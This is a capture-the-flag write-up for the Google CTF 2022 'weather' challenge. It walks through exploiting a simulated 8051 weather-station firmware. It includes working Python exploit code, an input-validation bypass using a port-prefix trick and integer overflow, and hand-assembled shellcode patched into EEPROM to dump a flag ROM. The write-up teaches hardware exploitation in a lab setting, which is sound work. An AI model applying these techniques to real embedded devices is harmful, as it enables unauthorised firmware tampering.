Google Capture The Flag 2022 - weather

Our DYI Weather Station is fully secure! No, really! Why are you laughing?! OK, to prove it we’re going to put a flag in the internal ROM, give you the source code, datasheet, and network access to the interface. 1337


Team: Super Guesser

Weather Station
? $

For this challenge, we were provided with the firmware sourcecode and a datasheet. Having not worked on hardware challenges by now, this was kinda new to me, but turned out to be quite some fun :)

Going through the source code reveals that commands have to be sent in the format:

r <port> <req_len>
w <port> <req_len> <value 1> <vlaue 2> <...>

for reading and writing to/from a port.

The network interface provided access to some ports of the “weather station”, by which data can be read and write (though writing to the existing sensors won’t do much).

const char *ALLOWED_I2C[] = {
  "101",  // Thermometers (4x).
  "108",  // Atmospheric pressure sensor.
  "110",  // Light sensor A.
  "111",  // Light sensor B.
  "119",  // Humidity sensor.
Weather Station
? $ r 101 10
i2c status: transaction completed / ready
22 22 21 35 0 0 0 0 0 0 
? $ r 108 10
i2c status: transaction completed / ready
3 249 0 0 0 0 0 0 0 0 
? $ r 110 10
i2c status: transaction completed / ready
78 0 0 0 0 0 0 0 0 0 
? $ r 111 10
i2c status: transaction completed / ready
81 0 0 0 0 0 0 0 0 0 
? $ r 119 10
i2c status: transaction completed / ready
37 0 0 0 0 0 0 0 0 0 
? $

The available sensors seemed to be a dead end, so we need to find a way to access “something else”.

bool is_port_allowed(const char *port) {
  for(const char **allowed = ALLOWED_I2C; *allowed; allowed++) {
    const char *pa = *allowed;
    const char *pb = port;
    bool allowed = true;
    while (*pa && *pb) {
      if (*pa++ != *pb++) {
        allowed = false;
    if (allowed && *pa == '\0') {
      return true;
  return false;

Before passing our input data to the specified i2c port, the firmware will check, if we specified a valid port. At first glance, it seems that is_port_allowed compares the specified port and the allowed ports char by char and also checks that both end with a null byte.

But pb (our input) is not checked for a null-byte, which enables us to specify a port string that “starts” with a valid port (like “101”). "1010", "1011" and so on would also be valid.

The datasheet states though, that the port in I2C_ADDRESS needs to be set as a 7-bit address, so only ports 0-127 would be valid. Specifying a port >1010 thus wouldn’t be much of a help, but the way, the firmware converts our input string to a port can help with that :)

int8_t port_to_int8(char *port) {
  if (!is_port_allowed(port)) {
    return -1;

  return (int8_t)str_to_uint8(port);

uint8_t str_to_uint8(const char *s) {
  uint8_t v = 0;
  while (*s) {
    uint8_t digit = *s++ - '0';
    if (digit >= 10) {
      return 0;
    v = v * 10 + digit;
  return v;

It first checks, if the port is valid (which we can now fulfill by prepending a valid port), and then converts our input number to an uint8_t, which will just overflow when passing it bigger numbers.

Abusing this, we can specify any port we need.

def send_read(dest_port, req_len):
  print("Read from: %d" % dest_port)

  # forge port number to overflow into requested port number
  cmd = "r 1010000{} {}".format(dest_port+128, req_len)
  # send i2c command
  print("CMD: %s" % cmd)

  # show i2c response
  print("RESP: %s" % r.recvline())

  # read and parse response
  data = r.recvuntil(" \n-end", drop=True)
  data = data.replace("\n", " ").split(" ")	
  res = "".join(map(lambda x: chr(int(x)), data))


  r.recvuntil("? ")

  return res

def send_write(dest_port, req_len, values):
  # forge port number to overflow into requestes port number
  cmd = "w 1010000{} {}".format(dest_port+128, req_len)

  # append values
  for val in values:		
    cmd += " "+str(val)

  # send i2c command
  print("CMD: %s" % cmd)

  print(r.recvuntil("? "))

Since we’re now able to read and write from any port, I did exactly that and tried to read from every port from 0-127 to see, if we get any valid response.

[+] Opening connection to on port 1337: Done

Read from: 33
CMD: r 1010000161 10
RESP: i2c status: transaction completed / ready

00000000  02 00 06 02  04 e4 75 81  30 12                     │····│··u·│0·│


Apart from the existing weather sensors, only port 33 answered with a successful response.

This would probably be the CTF-55930 EPROM interface mentioned in the data sheet, which allows us to access the eprom data and reprogram it.

Let’s validate that by dumping the firmware itself

I2C interface

Reading data from a 64-byte page is done in two steps:
1. Select the page by writing the page index to EEPROM's I2C address.
2. Receive up to 64 bytes by reading from the EEPROM's I2C address.

So we have to first send the page index to the port and after that we can read the page data from it.

# dump eprom
with open("eprom.bin", "wb") as f:
  for i in range(0, 128):
    send_write(33, 1, [i])
    res = send_read(33, 64)


Opening the received file with ghidra (use ‘8051 Microcontroller Family’ for Language/processor) shows that we have indeed fetched the complete firmware.

One step further, but how can we now read the flag? Obviously, it’s not part of the firmware itself, but resides in the FlagROM.

FlagROM module

The CTF-8051 microcontroller features an SFR-accessible ROM containing the flag. It's a very simple factory-programmed
ROM device with an SFR-mapped interface.

The ROM has capacity to store up to 2048 bits (256x8).

To read the data from the ROM simply set the FLAGROM_ADDR register to the byte index and read the byte value from the
FLAGROM_DATA register.

■ Reading from the FLAGROM_ADDR register returns the currently set address.
■ Writing to FLAGROM_DATA register is a no-op.

Special Function Register declarations for SDK compiler:
__sfr __at(0xee) FLAGROM_ADDR;
__sfr __at(0xef) FLAGROM_DATA;

Sounds easy enough: write the index of a flag char to 0xee and then read the character from 0xef.

Those sfr registers are never accessed anywhere in the firmware, though.

But since we have access to the EPROM interface, we now also have the ability to reprogram it and write our own code into it.

First thought: let’s just overwrite an existing function in the firmware to dump the flag for us.

Checking the datasheet how reprogramming is done:

Programming the EEPROM is done by writing the following packet to the EEPROM's I2C address:
  <PageIndex> <4ByteWriteKey> <ClearMask> ... <ClearMask>

The PageIndex selects a 64-byte page to operate on. The WriteKey is a 4 byte unlock key meant to prevent accidental
overwrites. Its value is constant: A5 5A A5 5A. Each ClearMask byte is applied to the consecutive bytes of the page,
starting from byte at index 0. All bits set to 1 in the ClearMask are cleared (set to 0) for the given byte in the
given page on the EEPROM:

byte[i] ← byte[i] AND (NOT clear_mask_byte)

Note: The only way to bring a bit back to 1 is to follow the 12V full memory reset described in the "Programming the
CTF-55930" section.

Uhm, ok, we can only “clear” bits, but won’t be able to set any 0 bit to 1 again, except by doing a full reset (which obviously is not possible through the network access). So overwriting existing code might be a bit too difficult.

But we have a lot of memory at the end of the firmware, which is completely filled with 1 bits, so we can start by putting our “flag dumping” code there.

Let’s start with writing data to uninitialized pages

def write_eprom(page, data):
  # start package with page index and 4ByteWriteKey
  write_arr = [page, 0xa5, 0x5a, 0xa5, 0x5a]

  # add inverted byte as clear mask
  for b in data:
    write_arr.append(ord(b) ^ 0xff)

  # send package
  send_write(33, len(write_arr), write_arr)

Since we can only clear bits, we just invert the byte we want to write, resulting in a clear mask, that zeroes all bits, which are not set in our write data. As long as the destination page is filled with 0xff bytes, we can now write arbitrary code there.

Having never worked with 8051 before, it was time now to learn some basics on 8051 asm (8051 opcodes).

So, first we need to initialize an index counter and write it to FLAGROM_ADDR (0xee)

; set idx to 0 (r1)
mov R1, 0         79 00

; set FLAGROM_ADDR to idx
mov A, R1         E9
mov 0xEE, A       F5 EE

Now we should be able to read the first character of the flag from FLAGROM_DATA (0xef)

; read char from FLAGROM_DATA 
mov A, 0xEF       E5 EF
mov R0, A         F8

Having the character in a register, we now want to print it back via the serial controller.

For this, we’ll first have to wait for SERIAL_OUT_READY (0xf3)

mov A, 0xF3       E5 F3
jz 0xFC           60 FC

After that, we can write the current flag character to SERIAL_OUT_DATA (0xf2)

; write flag char to SERIAL_OUT_DATA
mov A, R0         E8
mov 0xF2, A       F5 F2

This should print the first character to the network interface. All that’s left now, is to increase the index and jump back to our loop (which should end up in infinitely printing out the content of FLAGROM).

; increase idx (r1)
inc R1            09

; jump back
sjmp 0xF0         80 F0

To see, if I got it right, I patched it into the dumped eprom and checked the decompilation in ghidra.

void UndefinedFunction_0a04(void)
  undefined flag_char;
  char res;
  char idx;
  idx = 0;

  do {
    // write flag char index
    write_volatile_1(FLAGROM_ADDR, idx);
    flag_char = read_volatile_1(FLAGROM_DATA);

    // wait for serial
    do {
      res = read_volatile_1(SERIAL_OUT_READY);
    } while (res == '\0');

    // write flag char to serial
    idx = idx + 1;
  } while( true );

Doesn’t look too bad :)

Now, we’re just left with having our code being called from the firmware.

Overwriting the existing firmware with our complete flag dumper code might have been a quite hard (to impossible) task, but now we just need to write a single ljmp instruction somewhere.

With eprom_write I wrote the flag dumper to address 0xa04 in the firmware, so we just need to put a LJMP 0xa04 somewhere.

JMP 0xA4      02 0A 04

For this, I wrote some quick&dirty code to scan the firmware for 3 consecutive bytes, in which all bits were set, so that we could transform them into 02 0A 04 by just clearing the superfluous bits.

with open("eprom.bin", "rb") as f:
  data =
  for i in range(len(data)):
    if ord(data[i]) & 0x2 == 0x2:
      if ord(data[i+1]) & 0xa == 0xa:
        if ord(data[i+2]) & 0x4 == 0x4:
          print "Found possible offset: %s" % hex(i)

This gave some possible addresses (though not all of them were located at the start of a valid opcode).

But from those, 0x341 looked the most promising, which was located in the str_to_uint8 function. Overwriting it and then trigger a conversion to uint8 in the firmware should effectively jump into our code.

Let’s combine this and write the flag dumper code into the eprom, overwrite the code in str_to_uint8 to jump there and then trigger it by reading from any port (which will try to convert the input string into a port number).

def exploit(r):
  r.recvuntil("? ")

  # write flag dumper code to end of firmware
  write_eprom(40, "\x39\x00\xff\xff\x79\x00\xe9\xf5\xee\xe5\xef\xf8\xe5\xf3\x60\xfc\xe8\xf5\xf2\x09\x80\xf0")

  # write LJMP 0xa04 into str_to_uint8	
  address = 0x341
  page = address / 64
  off = address % 64

  code = "\x00"*off
  code += "\x02\x0a\x04"

  write_eprom(page, code)

  # trigger str_to_uint8
  r.sendline("r 119")

  # print output (filter null bytes)
  while True:
    ch = r.recv(1)
    if ch != "\x00":

[+] Opening connection to on port 1337: Done
CMD: w 1010000161 27 40 165 90 165 90 198 255 0 0 134 255 22 10 17 26 16 7 26 12 159 3 23 10 13 246 127 15
i2c status: transaction completed / ready
CMD: w 1010000161 9 13 165 90 165 90 255 253 245 251
i2c status: transaction completed / ready

In hindsight, the challenge wasn’t too difficult, but it was a really nice entry to hardware challenges and even learned a thing or two in this ride :)